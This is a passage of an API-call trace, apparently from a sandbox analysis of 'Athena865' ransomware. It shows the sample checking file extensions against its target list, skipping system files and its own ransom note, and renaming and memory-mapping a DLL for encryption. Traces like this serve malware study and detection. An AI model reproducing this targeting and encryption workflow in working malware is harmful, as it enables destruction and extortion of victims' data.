1 [0048.003] lstrlenW (lpString="dbt") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0048.003] lstrlenW (lpString="dbv") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0048.003] lstrlenW (lpString="dbx") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0048.003] lstrlenW (lpString="dcb") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0048.003] lstrlenW (lpString="dct") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0048.003] lstrlenW (lpString="dcx") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0048.003] lstrlenW (lpString="ddl") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0048.003] lstrlenW (lpString="dlis") returned 4 [0048.003] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0048.003] lstrlenW (lpString="dp1") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0048.003] lstrlenW (lpString="dqy") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0048.004] lstrlenW (lpString="dsk") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0048.004] lstrlenW (lpString="dsn") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0048.004] lstrlenW (lpString="dtsx") returned 4 [0048.004] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0048.004] lstrlenW (lpString="dxl") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0048.004] lstrlenW (lpString="eco") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0048.004] lstrlenW (lpString="ecx") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0048.004] lstrlenW (lpString="edb") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0048.004] lstrlenW (lpString="epim") returned 4 [0048.004] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0048.004] lstrlenW (lpString="fcd") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0048.004] lstrlenW (lpString="fdb") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0048.004] lstrlenW (lpString="fic") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0048.004] lstrlenW (lpString="flexolibrary") returned 12 [0048.004] lstrcmpiW (lpString1="hotoBase.dll", lpString2="flexolibrary") returned 1 [0048.004] lstrlenW (lpString="fm5") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0048.004] lstrlenW (lpString="fmp") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0048.004] lstrlenW (lpString="fmp12") returned 5 [0048.004] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0048.004] lstrlenW (lpString="fmpsl") returned 5 [0048.004] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0048.004] lstrlenW (lpString="fol") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0048.004] lstrlenW (lpString="fp3") returned 3 [0048.004] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0048.005] lstrlenW (lpString="fp4") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0048.005] lstrlenW (lpString="fp5") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0048.005] lstrlenW (lpString="fp7") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0048.005] lstrlenW (lpString="fpt") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0048.005] lstrlenW (lpString="frm") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0048.005] lstrlenW (lpString="gdb") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0048.005] lstrlenW (lpString="gdb") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0048.005] lstrlenW (lpString="grdb") returned 4 [0048.005] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0048.005] lstrlenW (lpString="gwi") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0048.005] lstrlenW (lpString="hdb") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0048.005] lstrlenW (lpString="his") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0048.005] lstrlenW (lpString="ib") returned 2 [0048.005] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0048.005] lstrlenW (lpString="idb") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0048.005] lstrlenW (lpString="ihx") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0048.005] lstrlenW (lpString="itdb") returned 4 [0048.005] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0048.005] lstrlenW (lpString="itw") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0048.005] lstrlenW (lpString="jet") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0048.005] lstrlenW (lpString="jtx") returned 3 [0048.005] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0048.005] lstrlenW (lpString="kdb") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0048.006] lstrlenW (lpString="kexi") returned 4 [0048.006] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0048.006] lstrlenW (lpString="kexic") returned 5 [0048.006] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0048.006] lstrlenW (lpString="kexis") returned 5 [0048.006] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0048.006] lstrlenW (lpString="lgc") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0048.006] lstrlenW (lpString="lwx") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0048.006] lstrlenW (lpString="maf") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0048.006] lstrlenW (lpString="maq") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0048.006] lstrlenW (lpString="mar") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0048.006] lstrlenW (lpString="marshal") returned 7 [0048.006] lstrcmpiW (lpString1="ase.dll", lpString2="marshal") returned -1 [0048.006] lstrlenW (lpString="mas") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0048.006] lstrlenW (lpString="mav") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0048.006] lstrlenW (lpString="maw") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0048.006] lstrlenW (lpString="mdbhtml") returned 7 [0048.006] lstrcmpiW (lpString1="ase.dll", lpString2="mdbhtml") returned -1 [0048.006] lstrlenW (lpString="mdn") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0048.006] lstrlenW (lpString="mdt") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0048.006] lstrlenW (lpString="mfd") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0048.006] lstrlenW (lpString="mpd") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0048.006] lstrlenW (lpString="mrg") returned 3 [0048.006] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0048.007] lstrlenW (lpString="mud") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0048.007] lstrlenW (lpString="mwb") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0048.007] lstrlenW (lpString="myd") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0048.007] lstrlenW (lpString="ndf") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0048.007] lstrlenW (lpString="nnt") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0048.007] lstrlenW (lpString="nrmlib") returned 6 [0048.007] lstrcmpiW (lpString1="se.dll", lpString2="nrmlib") returned 1 [0048.007] lstrlenW (lpString="ns2") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0048.007] lstrlenW (lpString="ns3") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0048.007] lstrlenW (lpString="ns4") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0048.007] lstrlenW (lpString="nsf") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0048.007] lstrlenW (lpString="nv") returned 2 [0048.007] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0048.007] lstrlenW (lpString="nv2") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0048.007] lstrlenW (lpString="nwdb") returned 4 [0048.007] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0048.007] lstrlenW (lpString="nyf") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0048.007] lstrlenW (lpString="odb") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0048.007] lstrlenW (lpString="odb") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0048.007] lstrlenW (lpString="oqy") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0048.007] lstrlenW (lpString="ora") returned 3 [0048.007] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0048.007] lstrlenW (lpString="orx") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0048.008] lstrlenW (lpString="owc") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0048.008] lstrlenW (lpString="p96") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0048.008] lstrlenW (lpString="p97") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0048.008] lstrlenW (lpString="pan") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0048.008] lstrlenW (lpString="pdb") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0048.008] lstrlenW (lpString="pdm") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0048.008] lstrlenW (lpString="pnz") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0048.008] lstrlenW (lpString="qry") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0048.008] lstrlenW (lpString="qvd") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0048.008] lstrlenW (lpString="rbf") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0048.008] lstrlenW (lpString="rctd") returned 4 [0048.008] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0048.008] lstrlenW (lpString="rod") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0048.008] lstrlenW (lpString="rodx") returned 4 [0048.008] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0048.008] lstrlenW (lpString="rpd") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0048.008] lstrlenW (lpString="rsd") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0048.008] lstrlenW (lpString="sas7bdat") returned 8 [0048.008] lstrcmpiW (lpString1="Base.dll", lpString2="sas7bdat") returned -1 [0048.008] lstrlenW (lpString="sbf") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0048.008] lstrlenW (lpString="scx") returned 3 [0048.008] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0048.009] lstrlenW (lpString="sdb") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0048.009] lstrlenW (lpString="sdc") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0048.009] lstrlenW (lpString="sdf") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0048.009] lstrlenW (lpString="sis") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0048.009] lstrlenW (lpString="spq") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0048.009] lstrlenW (lpString="te") returned 2 [0048.009] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0048.009] lstrlenW (lpString="teacher") returned 7 [0048.009] lstrcmpiW (lpString1="ase.dll", lpString2="teacher") returned -1 [0048.009] lstrlenW (lpString="tmd") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0048.009] lstrlenW (lpString="tps") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0048.009] lstrlenW (lpString="trc") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0048.009] lstrlenW (lpString="trc") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0048.009] lstrlenW (lpString="trm") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0048.009] lstrlenW (lpString="udb") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0048.009] lstrlenW (lpString="udl") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0048.009] lstrlenW (lpString="usr") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0048.009] lstrlenW (lpString="v12") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0048.009] lstrlenW (lpString="vis") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0048.009] lstrlenW (lpString="vpd") returned 3 [0048.009] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0048.009] lstrlenW (lpString="vvv") returned 3 [0048.010] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0048.010] lstrlenW (lpString="wdb") returned 3 [0048.010] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0048.010] lstrlenW (lpString="wmdb") returned 4 [0048.010] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0048.010] lstrlenW (lpString="wrk") returned 3 [0048.010] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0048.010] lstrlenW (lpString="xdb") returned 3 [0048.010] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0048.010] lstrlenW (lpString="xld") returned 3 [0048.010] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0048.010] lstrlenW (lpString="xmlff") returned 5 [0048.010] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0048.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll.Athena865") returned 67 [0048.010] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\photobase.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\photobase.dll.athena865"), dwFlags=0x1) returned 1 [0048.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\photobase.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.011] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34816) returned 1 [0048.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0048.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.011] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.012] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.012] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.012] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b00, lpName=0x0) returned 0x154 [0048.014] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b00) returned 0x100000 [0048.020] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.020] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.020] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0048.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0048.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.021] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.021] CloseHandle (hObject=0x154) returned 1 [0048.021] CloseHandle (hObject=0x17c) returned 1 [0048.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0048.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.022] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66ea407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb66ea407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6710567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x163800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="windows") returned -1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="bootmgr") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="temp") returned -1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="pagefile.sys") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="boot") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="ids.txt") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="ntuser.dat") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="perflogs") returned 1 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="MSBuild") returned 1 [0048.022] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0048.022] lstrcpyW (in: lpString1=0x241e8a0, lpString2="PhotoViewer.dll" | out: lpString1="PhotoViewer.dll") returned="PhotoViewer.dll" [0048.022] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0048.022] lstrlenW (lpString="Athena865") returned 9 [0048.022] lstrcmpiW (lpString1="iewer.dll", lpString2="Athena865") returned 1 [0048.022] lstrlenW (lpString=".dll") returned 4 [0048.022] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".dll") returned 1 [0048.022] lstrlenW (lpString=".lnk") returned 4 [0048.023] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".lnk") returned 1 [0048.023] lstrlenW (lpString=".ini") returned 4 [0048.023] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".ini") returned 1 [0048.023] lstrlenW (lpString=".sys") returned 4 [0048.023] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".sys") returned 1 [0048.023] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0048.023] lstrlenW (lpString="bak") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0048.023] lstrlenW (lpString="ba_") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0048.023] lstrlenW (lpString="dbb") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0048.023] lstrlenW (lpString="vmdk") returned 4 [0048.023] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0048.023] lstrlenW (lpString="rar") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0048.023] lstrlenW (lpString="zip") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0048.023] lstrlenW (lpString="tgz") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0048.023] lstrlenW (lpString="vbox") returned 4 [0048.023] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0048.023] lstrlenW (lpString="vdi") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0048.023] lstrlenW (lpString="vhd") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0048.023] lstrlenW (lpString="vhdx") returned 4 [0048.023] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0048.023] lstrlenW (lpString="avhd") returned 4 [0048.023] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0048.023] lstrlenW (lpString="db") returned 2 [0048.023] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0048.023] lstrlenW (lpString="db2") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0048.023] lstrlenW (lpString="db3") returned 3 [0048.023] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0048.023] lstrlenW (lpString="dbf") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0048.024] lstrlenW (lpString="mdf") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0048.024] lstrlenW (lpString="mdb") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0048.024] lstrlenW (lpString="sql") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0048.024] lstrlenW (lpString="sqlite") returned 6 [0048.024] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0048.024] lstrlenW (lpString="sqlite3") returned 7 [0048.024] lstrcmpiW (lpString1="wer.dll", lpString2="sqlite3") returned 1 [0048.024] lstrlenW (lpString="sqlitedb") returned 8 [0048.024] lstrcmpiW (lpString1="ewer.dll", lpString2="sqlitedb") returned -1 [0048.024] lstrlenW (lpString="xml") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0048.024] lstrlenW (lpString="$er") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0048.024] lstrlenW (lpString="4dd") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0048.024] lstrlenW (lpString="4dl") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0048.024] lstrlenW (lpString="^^^") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0048.024] lstrlenW (lpString="abs") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0048.024] lstrlenW (lpString="abx") returned 3 [0048.024] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0048.024] lstrlenW (lpString="accdb") returned 5 [0048.024] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0048.024] lstrlenW (lpString="accdc") returned 5 [0048.024] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0048.024] lstrlenW (lpString="accde") returned 5 [0048.024] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0048.024] lstrlenW (lpString="accdr") returned 5 [0048.024] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0048.024] lstrlenW (lpString="accdt") returned 5 [0048.024] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0048.025] lstrlenW (lpString="accdw") returned 5 [0048.025] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0048.025] lstrlenW (lpString="accft") returned 5 [0048.025] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0048.025] lstrlenW (lpString="adb") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.025] lstrlenW (lpString="adb") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.025] lstrlenW (lpString="ade") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0048.025] lstrlenW (lpString="adf") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0048.025] lstrlenW (lpString="adn") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0048.025] lstrlenW (lpString="adp") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0048.025] lstrlenW (lpString="alf") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0048.025] lstrlenW (lpString="ask") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0048.025] lstrlenW (lpString="btr") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0048.025] lstrlenW (lpString="cat") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0048.025] lstrlenW (lpString="cdb") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0048.025] lstrlenW (lpString="ckp") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0048.025] lstrlenW (lpString="cma") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0048.025] lstrlenW (lpString="cpd") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0048.025] lstrlenW (lpString="dacpac") returned 6 [0048.025] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0048.025] lstrlenW (lpString="dad") returned 3 [0048.025] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0048.026] lstrlenW (lpString="dadiagrams") returned 10 